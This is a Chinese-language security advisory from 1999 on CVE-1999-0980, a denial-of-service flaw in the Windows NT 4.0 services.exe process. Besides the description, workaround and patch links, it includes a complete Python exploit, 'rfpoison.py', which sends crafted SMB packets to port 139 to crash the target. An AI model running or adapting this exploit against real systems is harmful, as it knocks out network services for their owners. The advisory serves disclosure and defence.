发布日期：1999-10-31
更新日期：1999-10-31

受影响系统：

Microsoft Windows NT 4.0SP6
Microsoft Windows NT 4.0SP5
Microsoft Windows NT 4.0SP4
Microsoft Windows NT 4.0SP3
Microsoft Windows NT 4.0SP2
Microsoft Windows NT 4.0SP1
Microsoft Windows NT 4.0

描述：

---

BUGTRAQ  ID: 754
CVE(CAN) ID: CVE-1999-0980

Windows NT services.exe进程用来管理主机的网络连接与服务。

一个经过特别处理的信息包可以引发NT 4.0主机的拒绝服务问题，造成本地网络管理和通讯的失效。这个攻击造成“services"不能正常执行，并因此使主机丧失通过"named pipes"来执行任务的能力。其结果可能造成用户不能远程登陆、下网、管理注册、创建新的文件共享连接和远程管理。IIS服务也因此不能正常执行。

问题出在srvsvc.dll对services.exe的调用方式上，某些MSRPC调用将返回不能被Services.exe正确解释的无效值，因此引发了services.exe的瘫痪。

<**>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

RFPosion将会造成NT重起或者win 9x目标主机瘫痪。
      rfpoison.py为原程序，此程序只对NT主机进行了测试。
    

#!/usr/bin/env python
#
# Services.exe DoS
# hard work done by: rfp@wiretrip.net
# Python hack by: nas@adler.dynodns.net
#
# This only seems to work on NT.  Also, it may have to be run multiple times
# before SERVICES.EXE will die.  Improvements welcome.
#
# Usage: rfpoison.py <ip address>

import string
import struct
from socket import *
import sys

def a2b(s):
    bytes = map(lambda x: string.atoi(x, 16), string.split(s))
    data = string.join(map(chr, bytes), '')
    return data

def b2a(s):
    bytes = map(lambda x: '%.2x' % x, map(ord, s))
    return string.join(bytes, ' ')

# NBSS session request
nbss_session = a2b("""
    81 00  00 48 20 43 4b 46 44 45
    4e 45 43 46 44 45 46 46  43 46 47 45 46 46 43 43
    41 43 41 43 41 43 41 43  41 43 41 00 20 45 48 45
    42 46 45 45 46 45 4c 45  46 45 46 46 41 45 46 46
    43 43 41 43 41 43 41 43  41 43 41 41 41 00 00 00
    00 00
    """)

# SMB stuff
crud = (
    # SMBnegprot Request
    """
    ff 53 4d 42 72 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 00 f4 01 00 00  01 00 00 81 00 02 50 43
    20 4e 45 54 57 4f 52 4b  20 50 52 4f 47 52 41 4d
    20 31 2e 30 00 02 4d 49  43 52 4f 53 4f 46 54 20
    4e 45 54 57 4f 52 4b 53  20 31 2e 30 33 00 02 4d
    49 43 52 4f 53 4f 46 54  20 4e 45 54 57 4f 52 4b
    53 20 33 2e 30 00 02 4c  41 4e 4d 41 4e 31 2e 30
    00 02 4c 4d 31 2e 32 58  30 30 32 00 02 53 61 6d
    62 61 00 02 4e 54 20 4c  41 4e 4d 41 4e 20 31 2e
    30 00 02 4e 54 20 4c 4d  20 30 2e 31 32 00
    """,

    # SMBsessetupX Request
    """
    ff 53 4d 42 73 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 00 f4 01 00 00  01 00 0d ff 00 00 00 ff
    ff 02 00 f4 01 00 00 00  00 01 00 00 00 00 00 00
    00 00 00 00 00 17 00 00  00 57 4f 52 4b 47 52 4f
    55 50 00 55 6e 69 78 00  53 61 6d 62 61 00
    """,

    # SMBtconX Request
    """
    ff 53 4d 42 75 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 00 f4 01 00 08  01 00 04 ff 00 00 00 00
    00 01 00 17 00 00 5c 5c  2a 53 4d 42 53 45 52 56
    45 52 5c 49 50 43 24 00  49 50 43 00
    """,

    # SMBntcreateX request
    """
    ff 53 4d 42 a2 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 08 f4 01 00 08  01 00 18 ff 00 00 00 00
    07 00 06 00 00 00 00 00  00 00 9f 01 02 00 00 00
    00 00 00 00 00 00 00 00  00 00 03 00 00 00 01 00
    00 00 00 00 00 00 02 00  00 00 00 08 00 5c 73 72
    76 73 76 63 00
    """,

    # SMBtrans Request
    """
    ff 53 4d 42 25 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 08 f4 01 00 08  01 00 10 00 00 48 00 00
    00 48 00 00 00 00 00 00  00 00 00 00 00 00 00 4c
    00 48 00 4c 00 02 00 26  00 00 08 51 00 5c 50 49
    50 45 5c 00 00 00 05 00  0b 00 10 00 00 00 48 00
    00 00 01 00 00 00 30 16  30 16 00 00 00 00 01 00
    00 00 00 00 01 00 c8 4f  32 4b 70 16 d3 01 12 78
    5a 47 bf 6e e1 88 03 00  00 00 04 5d 88 8a eb 1c
    c9 11 9f e8 08 00 2b 10  48 60 02 00 00 00      
    """,

    # SMBtrans Request
    """
    ff 53 4d 42 25 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 08 f4 01 00 08  01 00 10 00 00 58 00 00
    00 58 00 00 00 00 00 00  00 00 00 00 00 00 00 4c
    00 58 00 4c 00 02 00 26  00 00 08 61 00 5c 50 49
    50 45 5c 00 00 00 05 00  00 03 10 00 00 00 58 00
    00 00 02 00 00 00 48 00  00 00 00 00 0f 00 01 00
    00 00 0d 00 00 00 00 00  00 00 0d 00 00 00 5c 00
    5c 00 2a 00 53 00 4d 00  42 00 53 00 45 00 52 00
    56 00 45 00 52 00 00 00  00 00 01 00 00 00 01 00
    00 00 00 00 00 00 ff ff  ff ff 00 00 00 00      
    """
)
crud = map(a2b, crud)


def smb_send(sock, data, type=0, flags=0):
    d = struct.pack('!BBH', type, flags, len(data))
    #print 'send:', b2a(d+data)
    sock.send(d+data)

def smb_recv(sock):
    s = sock.recv(4)
    assert(len(s) == 4)
    type, flags, length = struct.unpack('!BBH', s)
    data = sock.recv(length)
    assert(len(data) == length)
    #print 'recv:', b2a(s+data)
    return type, flags, data

def nbss_send(sock, data):
    sock.send(data)

def nbss_recv(sock):
    s =  sock.recv(4)
    assert(len(s) == 4)
    return s
    
def main(host, port=139):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(host, port)
    nbss_send(s, nbss_session)
    nbss_recv(s)
    for msg in crud[:-1]:
        smb_send(s, msg)
        smb_recv(s)
    smb_send(s, crud[-1]) # no response to this
    s.close()

if __name__ == '__main__':
    print 'Sending poison...',
    main(sys.argv[1])
    print 'done.'

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 不要在网络连接上绑定NETBIOS服务。

厂商补丁：

Microsoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

Windows NT Workstation, Windows NT Server, and Windows NT Server, Enterprise Edition:

x86:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16382

alpha:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16383

浏览次数：9120
严重程度：0（网友投票）